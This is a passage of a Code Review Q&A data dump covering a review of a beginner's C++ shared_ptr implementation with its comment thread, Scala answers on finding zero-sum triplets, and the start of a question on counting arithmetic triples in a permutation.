<code>shared_ptr</code>s, that map can get <em>huge</em>.</li>\n<li>Copying and destroying your <code>shared_ptr</code>s will be <em>slow</em>. <code>std::shared_ptr</code> has the pointer to the control block right on hand, so it just needs to do a single pointer indirection. Especially for making copies (and increasing the count), that’s <em>fast</em> (relatively speaking). Your <code>shared_ptr</code> has to search through a map (which is probably not going to be hot in cache) for each operation. That means that while <code>auto sp1 = sp2;</code> is really fast for <code>std::shared_ptr</code> it will be slow for your <code>shared_ptr</code> (and will get slower the more pointers you have). But that’s a pretty standard engineering size-versus-speed trade-off; your <code>shared_ptr</code> takes up less space, at the cost of speed.</li>\n</ol>\n<h2>Testing</h2>\n<p>Rather than simply wondering whether your code works or not, you should test it.</p>\n<p>Now, something like <code>shared_ptr</code> is not <em>easy</em> to test… but not impossible. As a start, you could run your <code>shared_ptr</code> through all of its operations, and use a tool like <a href=\"http://valgrind.org/\" rel=\"noreferrer\">Valgrind</a> to check for bad memory access or leaks. Actually properly unit-testing something like <code>shared_ptr</code> is complex, and way beyond the scope here.</p>\n<p>But a really easy trick is to simply insert a bunch of <code>std::cout</code> statements in your class member functions to print all the data about what’s going on. Yes, this isn’t the “sexy” way to test your code, but you’re a beginner; focus more on your code actually being correct than on doing things the “sexy” way.</p>\n<p>In your destructor, you should also print the contents of the count map. That will give you a way to spot leaks, or other problems with the counts.</p>\n<p>As I said, this isn’t technically the “right” way to do testing, but screw it, it’s quick, it’s easy, and it works. Even I develop code this way sometimes, if I’m experimenting with something difficult or “clever”. It’s cheap and hacky, but in the early stages of figuring something out, it does the job.</p>\n<h1>Code review</h1>\n<p>For starters, you should really be putting your own classes and stuff into your own, personal namespace. For example, I always use <code>indi</code>:</p>\n<pre><code>namespace indi {\n\ntemplate <typename T>\nclass shared_ptr\n{\n // ... [snip] ...\n};\n\n} // namespace indi\n\nauto main() -> int\n{\n indi::shared_ptr<int> sp1;\n // ...\n}\n</code></pre>\n<p>Putting your stuff in your own namespace is a good habit to get into in any case.</p>\n<pre><code>template<typename dataType>\n</code></pre>\n<p><code>dataType</code> is a bad name for a template parameter. By convention, template parameters are written in “<code>UpperCamelCase</code>”. Also by convention, <code>T</code> is most commonly used. And it’s a hell of a lot shorter than <code>dataType</code>.</p>\n<pre><code> shared_ptr()\n {\n id++;\n internalId = id;\n countMap[id] = 1;\n ptr = new dataType();\n }\n</code></pre>\n<p>Your default constructor actually allocates a new object. That’s… not a great idea. Default construction should be simple, fast, and—ideally—no fail.</p>\n<p>Not only that, this behaviour is pretty surprising for a pointer. Consider:</p>\n<pre><code>using pointer = int*;\n\nauto p1 = pointer{}; // p1 == nullptr, no-fail and fast\nauto p2 = std::unique_ptr<int>{}; // p2 == nullptr, no-fail and fast\nauto p3 = std::shared_ptr<int>{}; // p3 == nullptr, no-fail and fast\nauto p4 = shared_ptr<int>{}; // p4 != nullptr, very slow, and the allocation might throw\n</code></pre>\n<p>Default construction for every other smart pointer I’ve seen gives you a null pointer. That should be the case for your smart pointer, too.</p>\n<p>If you want a constructor that actually allocates the object—which is a good idea—you can use a “tagged constructor”. A good tag is <code>std::in_place</code>:</p>\n<pre><code> constexpr shared_ptr() noexcept = default;\n\n explicit shared_ptr(std::in_place_t)\n {\n id++;\n internalId = id;\n countMap[id] = 1;\n ptr = new dataType();\n }\n</code></pre>\n<p>And you’d use it like this:</p>\n<pre><code>auto sp1 = shared_ptr<int>{std::in_place};\n</code></pre>\n<p>You could get even more advanced with perfect forwarding:</p>\n<pre><code> template <typename... Args>\n explicit shared_ptr(std::in_place_t, Args&&... args)\n {\n id++;\n internalId = id;\n countMap[id] = 1;\n ptr = new dataType{std::forward<Args>(args)...};\n }\n</code></pre>\n<p>So now you could do:</p>\n<pre><code>auto sp = shared_ptr<std::string>{std::in_place, '*', 8};\n// sp points to a string containing 8 asterisks\n</code></pre>\n<p>But let’s dig into the meat of the constructor:</p>\n<pre><code> shared_ptr()\n {\n id++;\n internalId = id;\n countMap[id] = 1;\n ptr = new dataType();\n }\n</code></pre>\n<ol>\n<li>The first line can’t fail. So no problems yet (or so it seems!).</li>\n<li>The second line also can’t fail. This is the only safe line in this entire constructor. (And even then, it’s not <em>perfectly</em> safe; it would be dangerous in concurrent code. But concurrency is a whole other beast.)</li>\n<li>This line can fail. When you do <code>countMap[id]</code>, the map will try to find a key matching <code>id</code>, and will (presumably) fail. So it will need to allocate a new node. That allocation might fail. This won’t be <em>too</em> serious a problem… all it means is that you’ll skip an ID.</li>\n<li>This line can also fail, either in the allocation phase, or the construction of the new object. Either way, this is bad, because now <code>countMap</code> holds a node with an ID and count of 1 that will never be freed. Since no other shared pointer will use the same ID, this is only a <em>minor</em> leak… but it’s still a leak.</li>\n</ol>\n<p>If you don’t care about losing IDs, you could fix this constructor by doing something like so:</p>\n<pre><code> shared_ptr()\n {\n id++;\n internalId = id;\n countMap[id] = 1;\n\n try\n {\n ptr = new dataType();\n }\n catch (...)\n {\n countMap.erase(id);\n throw;\n }\n }\n</code></pre>\n<p>But the moral here is to always consider which expressions can throw, and what that means for the function as a whole.</p>\n<pre><code> shared_ptr(shared_ptr& a)\n {\n this->ptr = a.ptr;\n this->internalId = a.internalId;\n countMap[internalId]++;\n }\n</code></pre>\n<p>The correct form for a copy constructor is to take the argument by <code>const</code> reference.</p>\n<p>Failure to do so means this code won’t work:</p>\n<pre><code>auto const sp1 = shared_ptr<int>{};\nauto const sp2 = sp1; // won't compile\n</code></pre>\n<p>Other than that, this copy constructor is okay. Most C++ programmers would gripe about the <code>this-></code> stuff, because it’s unnecessary and ugly, but it’s not actually <em>wrong</em>, or harmful. (You could also use a member initializer list, but meh. For these simple types it doesn’t <em>really</em> matter.)</p>\n<pre><code> void operator=(shared_ptr& a)\n {\n this->ptr = a.ptr;\n this->internalId = a.internalId;\n countMap[internalId]++;\n }\n</code></pre>\n<p>@1201ProgramAlarm has already pointed out one of the bugs in this function, but the best way to fix it is to rethink the whole function entirely, and use the “copy-and-swap” technique.</p>\n<p>You see, if you follow @1201ProgramAlarm’s advice directly… you’ll have another problem. Let me show you—suppose you did this:</p>\n<pre><code>auto operator=(shared_ptr const& a) -> shared_ptr&\n{\n // first decrement the count of the current pointer, and delete if necessary\n --countMap[internalId];\n if (countMap[internalId] == 0)\n delete ptr;\n\n // now set the new data\n ptr = a.ptr;\n internalId = a.internalId;\n ++countMap[internalId];\n\n return *this;\n}\n</code></pre>\n<p>This looks innocuous… but it’s a trap. It won’t explode easily, but it will explode if you do this:</p>\n<pre><code>auto sp = shared_ptr<int>{};\nsp = sp; // self-assignment\n</code></pre>\n<p>Consider what happens during the self-assignment above. Before the self-assignment, the count for the pointer is 1 (because it’s the only smart pointer that owns it). So the first line of the assignment operator does the decrement… and now the count is zero. So, of course, the object gets freed.</p>\n<p>Then the “new” data gets transferred over. But… the new data is the same as the old data. So <code>ptr</code> is set to… itself… the pointer which now points to the deleted object. <code>internalId</code> is also set to itself, but that’s harmless. Then the count gets <em>re</em>-incremented, so it goes from zero to one again.</p>\n<p>The net result is that your shared pointer <em>appears</em> to still be working—still keeping the count to some pointer—but the pointer points to deleted memory. If you access it, boom. And of course, when the last shared pointer pointing to it is destroyed, it will try to free it again. Double <code>delete</code>. Boom.</p>\n<p>So I recommend the “copy-and-swap” technique:</p>\n<pre><code>auto operator=(shared_ptr const& a) -> shared_ptr&\n{\n // copy a into a temporary...\n auto temp = a;\n\n // ... then swap the contents of the temporary with this\n std::ranges::swap(ptr, temp->ptr); // cannot fail\n std::ranges::swap(internalId, temp->internalId); // cannot fail\n\n return *this;\n\n // when temp goes out of scope, it will be destroyed\n //\n // since it now holds the *OLD* internalID that this had, it will\n // decrement *THAT* count, and if it's zero, free the *OLD* ptr this held\n //\n // in the case of self-assignment, all the copy will do is increase the\n // count (to 2), and then the destruction will decrease it (back to 1),\n // so no harm, no foul\n}\n</code></pre>\n<p>“Copy-and-swap” is technically less efficient… but it avoids very subtle bugs, like the self-assignment bug I described. You should do “copy-and-swap” in copy assignment operators by default.</p>\n<p>Also, your copy-assignment operator is malformed. It should take a <code>const</code> reference, and it should return a non-<code>const</code> reference to <code>this</code>… not <code>void</code>.</p>\n<p>The destructor is fine, so I’ll skip it.</p>\n<pre><code> static int id;\n int internalId = 0;\n static std::map<int,int> countMap;\n</code></pre>\n<p>Okay, there are a couple of issues here.</p>\n<p>First, I don’t know if you realize it, but since <code>shared_ptr</code> is a template, that means that there will be <em>multiple</em> <code>id</code> and <code>countMap</code> objects… one for each template parameter set.</p>\n<p>In other words:</p>\n<pre><code>auto sp1 = shared_ptr<int>{};\nauto sp2 = shared_ptr<long>{};\n</code></pre>\n<p>You probably think that the <code>internalId</code> for <code>sp1</code> will be 2, and for <code>sp2</code> it will be 3. Nope. It will be 2 for <em>both</em>. Why? Because <code>sp1</code> is using <code>shared_ptr<int>::id</code>, and <code>sp2</code> is using <code>shared_ptr<long>::id</code>. Those are two different <code>int</code>s.</p>\n<p>In fact:</p>\n<pre><code>auto sp01 = shared_ptr<char>{};\nauto sp02 = shared_ptr<signed char>{};\nauto sp03 = shared_ptr<unsigned char>{};\nauto sp04 = shared_ptr<int>{};\nauto sp05 = shared_ptr<unsigned int>{};\nauto sp06 = shared_ptr<short>{};\nauto sp07 = shared_ptr<unsigned short>{};\nauto sp08 = shared_ptr<long>{};\nauto sp09 = shared_ptr<unsigned long>{};\nauto sp10 = shared_ptr<std::string>{};\nauto sp11 = shared_ptr<std::u8string>{};\nauto sp12 = shared_ptr<std::vector<int>>{};\nauto sp13 = shared_ptr<std::vector<long>>{};\n</code></pre>\n<p>The above code will create <em>thirteen</em> different <code>id</code> <code>int</code>s, and <em>thirteen</em> different <code>countMap</code> <code>std::map<int, int></code>s. Every unique type you instantiate a <code>shared_ptr</code> with will create a new <code>id</code> and <code>countMap</code>. If you make <code>shared_ptr</code>s using many different types, that will balloon your static memory usage. And the bad thing about static memory usage is that it exists for the <em>whole</em> program. It is created when the program starts <em>even if you never actually use it</em>, and it exists until the program ends, even if you’re long done with it. Indeed, if you only allocate a <em>single</em> <code>shared_ptr<foo></code> one time in the middle of your program, you’re paying for it for the whole program. You’re even paying for it if you allocate <em>zero</em> <code>shared_ptr<foo></code> objects… but only <em>mention</em> one as a conditional possibility!</p>\n<p>So this is not good. You probably only want a single map and <code>id</code> counter for <em>all</em> types in your program. To do that, you need to pull those static objects out of the template. You have multiple options for how you can do that. You can simply use global objects (probably hidden in a detail namespace). Or you can use a non-template base class and put all the statics in there.</p>\n<p>Another issue is the use of <code>int</code> for both the ID and the count. <code>int</code> is only guaranteed to hold 65,536 values, though in practice it will usually hold at least 4,294,967,296. Four billion sounds like a lot, and it probably is, but it is not inconceivable that if a program runs long enough, and does enough allocating and deallocating, it could run out. (Far more likely to have that happen if you only have 65,536 values, of course.)</p>\n<p>Whenever you’re keeping a count of something, the standard type to use in C++ is <code>std::size_t</code>. On most 64-bit systems, this will give you at 18,446,744,073,709,551,616 different IDs. That should be enough. You should use this for <em>both</em> the ID and the count.</p>\n<p>So, perhaps you might do this:</p>\n<pre><code>// these could be hidden in a detail namespace, or a base class\n//\n// watch out for the static initialization order fiasco!\nstatic auto next_id = std::size_t{0}; // in C++23 "= 0uz;" would work\nstatic auto count_map = std::map<std::size_t, std::size_t>{};\n\n// since the static variables are not in the template, they won't be\n// duplicated for every T\ntemplate <typename T>\nclass shared_ptr\n{\n // ...\n};\n</code></pre>\n<p>Finally, you should consider using <code>std::unordered_map</code> rather than <code>std::map</code>. You don’t need the ordering, and the unordered map may be faster.</p>\n<p>All that’s left is <code>main()</code>:</p>\n<pre><code>shared_ptr<int> sp1;\n</code></pre>\n<p>You should really avoid this kind of declaration. The gold standard in modern C++ is the “always <code>auto</code>” style:</p>\n<pre><code>auto sp1 = shared_ptr<int>{};\n</code></pre>\n<p>There are a number of reasons why this form is better, too many to get into here. But as a bonus, once you get in the habit of using <code>auto</code>, numerous other bugs and quirks go away, and many lines of code become simpler. For example, instead of:</p>\n<pre><code>shared_ptr<int> sp2(sp1);\n</code></pre>\n<p>You could just do:</p>\n<pre><code>auto sp2 = sp1;\n</code></pre>\n<p>Shorter, simpler, clearer, and it avoids all kinds of bugs.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T08:44:18.977",
"Id": "513446",
"Score": "0",
"body": "Thank your for your review , I enjoyed it the most and it is very detailed. again thank you for your time and effort."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T09:14:25.733",
"Id": "513448",
"Score": "1",
"body": "Note that using the pointer value as the key prevents pointers from sharing ownership if they don't point to the same address, which has dire consequences for pointing to base/derived classes. It may not be relevant for this simple educational `shared_ptr`, but would be worth mentioning."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T10:03:46.940",
"Id": "513452",
"Score": "1",
"body": "Regarding the cost of maintaining a std::map, I found that it is both slow and has a lot of space overhead. The std::unordered_map is often better, though the default hash function for pointers is usually very bad. Last time I needed a \"pointer to size_t\" map, I [rolled my own](https://www.github.com/fg-netzwerksicherheit/ShadowHeap/tree/master/src/store/CachedMetaStore.h) which let me avoid the usual standard library inefficiencies (still not thread-safe, though). A control block might need more space, but makes lock-free refcounting much easier."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T10:07:17.157",
"Id": "513453",
"Score": "0",
"body": "Another shared_ptr design which I learned from the Rust standard library is to have your smart pointer share an object that includes both a count and the object, e.g. `struct SharedValue { std::atomic<size_t> count; T value }`. Very compact and cache-efficient. But Angew's remark about casts applies as well."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T15:51:25.263",
"Id": "513493",
"Score": "0",
"body": "What's the difference between `std::swap` and `std::ranges::swap` that makes you want to use it here, when you are not otherwise using ranges?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:16:51.283",
"Id": "513524",
"Score": "1",
"body": "@AngewisnolongerproudofSO I mean, if you violate the interface contract of *any* type—even `std::shared_ptr`—you get “dire circumstances”. So, yanno, just don’t do that. It’s not like you trigger this problem accidentally; you have to be deliberately trying to undermine the interface by doing something obviously shady; this type doesn’t have `std::shared_ptr`’s converting constructors, so the only way to have two `shared_ptr`s, one a `Base` the other a `Derived` both pointing to the same object, would be explicitly *make* two `shared_ptr`s that way. So just don’t do that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:17:03.483",
"Id": "513525",
"Score": "0",
"body": "@AngewisnolongerproudofSO But yeah, while I don’t see a reason to be concerned (because the problem won’t happen invisibly; you have to explicitly cause it), it is a bit of a bummer that that won’t work. An even bigger bummer is that you don’t get the power of [aliasing](https://en.cppreference.com/w/cpp/memory/shared_ptr/shared_ptr) (see constructor #8), which is IMO the best feature of `std::shared_ptr`. But to get a smart pointer the same size as a raw pointer, the limitation might be worth it. YMMV. "
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:19:22.970",
"Id": "513526",
"Score": "0",
"body": "@amon Oh, I certainly believe the costs of the map are high. (And yeah, if concurrency is involved… just forget this design.) If I were trying to design a shared pointer that was only a single pointer in size, I might try doing something *similar* to what you mentioned—the `SharedValue` type. But not *exactly*, because that will bear the cost of a double-indirection on *every* access of the value. I think making copying cheap at the cost of doubling (or much worse, considering cache misses) the cost of access is a poor strategy."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:19:53.437",
"Id": "513527",
"Score": "0",
"body": "@amon What I would do is allocate a single chunk of memory that is “`<count><value>`”, and only store the address of the start of the value in the smart pointer. To access the count (which would be an atomic counter, probably `atomic<size_t>`), you’d just have to do some pointer arithmetic… not cheap, but not *that* expensive, and you only pay the cost when copying or destroying. Obviously I’m hand-waving some complexity—you’d need to take alignment into account, for example—but not much."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:20:30.007",
"Id": "513528",
"Score": "1",
"body": "@amon The pros: all the same costs of a raw pointer (size and access cost) except when copying/destroying. The cons: no conversions (like derived to base, which `std::shared_ptr` can do), no aliasing, and you can’t take ownership of a pointer—to have the count where it’s supposed to be, the allocation *must* be done by the smart pointer itself. Is this design worth it? I mean, not to me, because I avoid shared ownership like the plague, and when I *must* use it, the cost of the extra pointer in `std::shared_ptr` doesn’t matter."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:21:10.067",
"Id": "513529",
"Score": "1",
"body": "@JDługosz `std::ranges::swap()` has nothing to do with ranges. It just happens to be in that namespace because it was developed along with ranges (and concepts, etc.). It has all the benefits of being a neibloid, which are too many to list here, but for just one: there is no need for the two-step (`using std::swap; swap(...);`), so even if the types change, it will always Just Work™. In C++20 and beyond, it should be the default choice: the question isn’t “why are you using `std::ranges::swap()`?”, it is “why *aren’t* you using it?”."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:29:17.290",
"Id": "513530",
"Score": "1",
"body": "@indi (Yes, we're more or less describing the same design. But I'm also describing a single level of indirection, and it doesn't really matter if the shared pointer points to the count or the immediately following value. A statically known pointer offset is free on mainstream architectures. Fortunately, managing the allocation is quite easy and types with exotic alignment requirements are rare.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T11:17:50.150",
"Id": "513580",
"Score": "0",
"body": "I casting any pointer to std::uintptr_t might be an UB due to different alignment. That may not matter that much if you make the conversion only one-way, but using `void*` would be certainly cleaner."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T20:26:52.333",
"Id": "513627",
"Score": "0",
"body": "@Frax That is not correct. Converting *any* `T*` to `std::uintptr_t` and back is perfectly well-behaved, and will always return the original pointer. (That is true for *any* integer type that is large enough; `uintptr_t` is guaranteed large enough.) Converting any `T*` to `void*` and back is also fine… *but*… you can’t use `void*` as a map key, because comparing random pointer values is UB. (You *can* use `void*` as a key in a `std::unordered_map`, because `std::hash` supports pointer hashing. Internally it just casts the pointer to an integer; both libstdc++ and libc++ use `std::size_t`.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T14:04:42.923",
"Id": "513666",
"Score": "0",
"body": "The important point in the size analysis is not just total size, but the size of the working set that has to stay hot in cache when code runs that derefs `shared_ptr` members of some other objects. So keeping `shared_ptr` itself small is very good, especially for arrays, or as part of small objects where pointers are a significant part of it. But the size cost is probably *shifted* from the shared_ptr to the std::(unordered_)map metadata. If your use pattern involves incrementing the ref count, then you're hitting the `std::unordered_map`, too, as well as the control block."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T14:11:45.490",
"Id": "513667",
"Score": "0",
"body": "Anyway, your early paragraphs about how `shared_ptr` is smaller than `std::shared_ptr` phrases things as if `std::map` had no overhead, above the ref counts stored in it. unordered_map is almost certainly much better for this use-case, especially with huge numbers of shared_ptr objects (hash table vs. RB tree), but you only mention that once at the end, not next to the paragraph where you mention walking a tree being slow for every ownership change."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T14:12:24.100",
"Id": "513668",
"Score": "0",
"body": "If objects are accessed together, they might have been alloced together and might have similar addresses, nearby in a RB tree for good branch prediction and cache locality of their lookups, which you might not have with a hash table? Still worth mentioning the hash table alternative sooner."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T21:43:36.530",
"Id": "513682",
"Score": "0",
"body": "@indi Oh, I see. Thank you for the detailed explanation, you were absolutely right."
}
],
"meta_data": {
"CommentCount": "18",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T21:36:02.757",
"Id": "260133",
"ParentId": "260126",
"Score": "12"
}
},
{
"body": "<h3>Design</h3>\n<p>Your design pays all the costs <code>std::shared_ptr</code> does and then some, but drops many of the capabilities.</p>\n<ol>\n<li><p>The smart-pointer itself is not smaller (assuming <code>int</code> is at least as big as a pointer, or the latter has alignment equal to size).</p>\n</li>\n<li><p>Create and destroy enough of your smart pointers, and your id overflows. Hilarity ensues.</p>\n</li>\n<li><p>The bookkeeping is likely not smaller (a map-node per unique id, 2 * pointer + 2 * number + whatever). <code>std::shared_ptr</code> has pointer to functions + managed pointer + 2 * number + stored deallocator (likely optimized out).</p>\n</li>\n<li><p>Independent smart-pointers to the same type aren't independent, as they share the bookkeeping data (map and next id). Thus copying, creating and destroying smart-pointers leads to data races.</p>\n</li>\n<li><p>Creating, copying, or destroying a smart-pointer has to do at least one expensive map-lookup. A big map is a major problem. Not so with <code>std::shared_ptr</code>.</p>\n</li>\n<li><p>You cannot point to a sub-object, as doing so looses the association with the right bookkeeping data, and knowledge how to delete the object.</p>\n</li>\n<li><p>You cannot accept a custom deleter. Where to store it?</p>\n</li>\n</ol>\n<p>The first two points can be fixed and the fourth mitigated by mapping directly from payload-pointer to owner-count, but that makes the last two much harder to tackle. Nor does it do anything for three and five. Best redesign properly.</p>\n<h3>Implementation</h3>\n<ol>\n<li><p>You unconditionally create a managed object in the default ctor. Seems your design must be used with <code>std::optional</code> to represent null pointers too.</p>\n</li>\n<li><p>Your copy-ctor and copy-assignment don't accept by constant reference. That is a pointless limitation, as they don't and shouldn't modify the argument.</p>\n</li>\n<li><p>Copy-assignment fails to free the targets resources. Take care to accept self-assignment when fixing that.</p>\n</li>\n<li><p>You have some spurious spaces at the beginning of some of the following lines. Also a spurious doubled space. Consider engaging some auto-formatter.</p>\n<pre><code>template<typename dataType>\n int shared_ptr<dataType>::id = 1;\n template<typename dataType>\n std::map<int,int> shared_ptr<dataType>::countMap;\n</code></pre>\n</li>\n</ol>\n<h3>Testprogram</h3>\n<ol>\n<li><p>Indentation in <code>main()</code> is lacking.</p>\n</li>\n<li><p><code>return 0;</code> is implicit in <code>main()</code>.</p>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T08:45:00.777",
"Id": "513447",
"Score": "0",
"body": "Thank you for your review.it is very helpful."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T22:26:25.127",
"Id": "260137",
"ParentId": "260126",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": "260133",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T17:09:36.877",
"Id": "260126",
"Score": "11",
"Tags": [
"c++",
"beginner",
"reinventing-the-wheel"
],
"Title": "A practice shared_ptr implementation"
}
|
260126
|
<p>Given the classical problem to find triplets that sum to zero in an array. Is my Scala implementation correct and executed in O(N^2)? If yes, why? Can someone make a running time analysis.</p>
<p>What other ways could we solve this issue? With duplicated elements and not using the two pointer technique?</p>
<pre><code>def tripletsFromArrayThatSumZero(input: Array[Int]): Array[Array[Int]] = {
val target = 0 // the target is the number after the sum
val sortedArray = input.sorted
var resultsArrayOfTriplets = Array[Array[Int]]()
for (i <- sortedArray.indices) {
var j = i + 1
var k = sortedArray.length - 1
val twoSum = target - sortedArray(i)
Breaks.breakable {
while (j < sortedArray.length) {
val sum = sortedArray(j) + sortedArray(k)
if (k == j) Breaks.break()
if (sum > twoSum) {
k -= 1
} else if (sum < twoSum) {
j += 1
} else if (sum == twoSum) {
val triplet = Array(sortedArray(i), sortedArray(j), sortedArray(k) )
resultsArrayOfTriplets = resultsArrayOfTriplets :+ triplet
Breaks.break()
}
}
}
}
resultsArrayOfTriplets
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T17:23:24.947",
"Id": "513624",
"Score": "0",
"body": "I think the idea behind the algorithm is sound, and very clever - good job. However, I don't think it accounts for multiple instances of the same value. {-3, 1, 1, 2} for example and I think it also misses cases where there are adjacent - call them matched - pairs {-5, 1, 2, 3, 4}. Put those cases into your tests and see what happens."
}
] |
[
{
"body": "<p>Your solution also works with O(n ^ 2), except you need to cover few cases as mentioned in the comments above.</p>\n<p>A small solution that could make things look neat:</p>\n<p><strong>Efficient <code>O(n ^ 2)</code> ThreeSum Solution In Scala</strong></p>\n<pre><code>object Solution {\n import scala.util.Sorting\n import scala.collection.mutable\n def threeSum(a: Array[Int]): List[List[Int]] = {\n if(a.isEmpty) List.empty\n else {\n Sorting.quickSort(a)\n val resArr = mutable.Set.empty[List[Int]]\n val range = a.indices.init\n for {\n i <- range\n } yield {\n var l = i + 1\n var r = a.length - 1\n while(l < r) {\n val tSum = a(i) + a(l) + a(r)\n if(tSum == 0) {\n resArr.addOne(List(a(i), a(l), a(r)))\n l += 1\n r -= 1\n } else if(tSum < 0) { l += 1 }\n else { r -= 1 }\n }\n }\n resArr.toList\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T17:36:21.497",
"Id": "260267",
"ParentId": "260132",
"Score": "-1"
}
},
{
"body": "<p>I have a few issues with the posted code. We'll start with the trivial.</p>\n<p>Code posted on Code Review should be complete. You forgot to include the necessary <code>import</code> to make this compile.</p>\n<p><code>val target = 0</code> - I find this somewhat redundant. If <code>target</code> isn't zero then you also need to change the name of the method. On the other hand, we're not supposed to bury "magic numbers" in our code, so it's debatable.</p>\n<p>But the real problem here is that you're writing imperative code in a functional language. You've written C code in Scala.</p>\n<p>Imperative : Create an empty mutable collection. Run code with a side-effect of filling the collection. Return the collection.</p>\n<p>Functional : Start with one or more populated collections. Filter, collect, and transform them, without mutation, into the resulting collection.</p>\n<p>Here's an implementation that's similar in that the <code>i</code> index starts at zero, the <code>j</code> index starts at <code>i+1</code>, and the <code>k</code> index searches the remaining space for the result.</p>\n<pre><code>def zeroSumTriples(input: Array[Int]): Array[Array[Int]] = {\n val sortedInput = input.sorted\n\n sortedInput.takeWhile(_ < 1).indices.flatMap{ i =>\n (i+1).until(input.length-1).flatMap{ j =>\n val (a, b) = (sortedInput(i), sortedInput(j))\n Iterator.from(j+1).take(input.length-j-1)\n .dropWhile(a + b + sortedInput(_) < 0)\n .takeWhile(a + b + sortedInput(_) == 0)\n .map(k => Array(a, b, sortedInput(k)))\n }\n }\n}.toArray\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T00:03:12.610",
"Id": "513769",
"Score": "1",
"body": "Scala can be a functional language, and it's arguably its most elegant, powerful, and correct when written that way, but it can also be an object-oriented language, an abstract type system, or even an imperative language. It's consciously multi-paradigm."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T20:42:08.707",
"Id": "260272",
"ParentId": "260132",
"Score": "2"
}
},
{
"body": "<p>Since jwvh already has a great solution to your problem, I'll point out a few things in your original code.</p>\n<p>One thing that immediately caught my eye was the use of <code>Breaks.break()</code>. This does <em>not</em> work the same as in Java. It throws a <code>BreakControl</code> exception that can stop your program if not caught by the <code>breakable</code> block encasing your while loop. Throwing and catching exceptions often can hurt performance, so I would strongly encourage you to stay away from <code>scala.util.control.Breaks</code>. I believe you can eliminate the first break by making the condition of the inner while loop <code>j < k</code>, but the second break would still remain.</p>\n<p>Another thing is that you're using <code>Array</code>s to represent triplets and the resulting list of triplets. Perhaps using an array for holding three numbers may be okay in Java, but even there, using an array for a collection that must grow in size is a bad idea.</p>\n<p>In Java, you may use a class that implements <code>List</code>, such as an <code>ArrayList</code>, but in Scala, I'd suggest using a <a href=\"https://www.scala-lang.org/api/current/scala/collection/immutable/List.html\" rel=\"nofollow noreferrer\"><code>List</code></a>, an immutable linked list for <code>resultsArrayOfTriplets</code>. Appending to an array isn't a great idea, since it requires creating a new array and copying elements of the old array to that (an O(n) operation). Instead, you can prepend new triplets to the existing list of triplets (a constant time operation).</p>\n<p>For the triplets themselves, I would suggest using a tuple <code>(Int, Int, Int)</code> even though it's homogeneous and you can use an <code>Array</code>. This is both because <code>Array</code>s are mutable, and you don't want to be able to modify the triplets later, and because an <code>Array</code> could be of any size, whereas here, the size of a triplet is fixed.</p>\n<p>A couple smaller things - <code>resultsArrayOfTriplets</code> could be just <code>results</code>, and <code>target</code> could either be a parameter to allow the caller to generalize to triplets summing to any number or a "magic number."</p>\n<p>However, making these changes would just be putting a bandaid on a much bigger problem. As jwvh pointed out, you're essentially writing C code in Scala. <code>var</code>s (and mutability), <code>Array</code>s, while loops, and the like are not idiomatic in Scala.</p>\n<hr />\n<p>To answer the question in the title, no, it appears your code would be O(n^2) in the worst case, since for every ith element of the array, the maximum number of times you would go through the array again is n-i.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-09T16:06:40.117",
"Id": "260531",
"ParentId": "260132",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T21:29:14.967",
"Id": "260132",
"Score": "2",
"Tags": [
"algorithm",
"functional-programming",
"scala"
],
"Title": "Is My Function to Find Triplets in Scala running in O(N^2)"
}
|
260132
|
<p>I have some problems with code for my classes. Even though it works correctly, I run out of time for half of the examples. Here's the task (I really did my best trying to translate it):</p>
<p>You have a permutation of numbers 1,2,...,n for some n. All consecutive numbers of permutations together create sequence a₁, a₂, a₊. Your task is to count how many arithmetic substrings of length 3 are present.</p>
<p>Input: In first line there is a number n (1 <= n <= 200 000). In the second line there is n numbers a₁, a₂, a₊ representing our permutation.</p>
<p>Output: The program needs to print out amount of arithmetic substrings of length 3 for permutations from entry. You can assume that the result won't be bigger than 1 000 000.</p>
<p>NOTE: arithmetic substrings most likely stand for arithmetic progression or something like that</p>
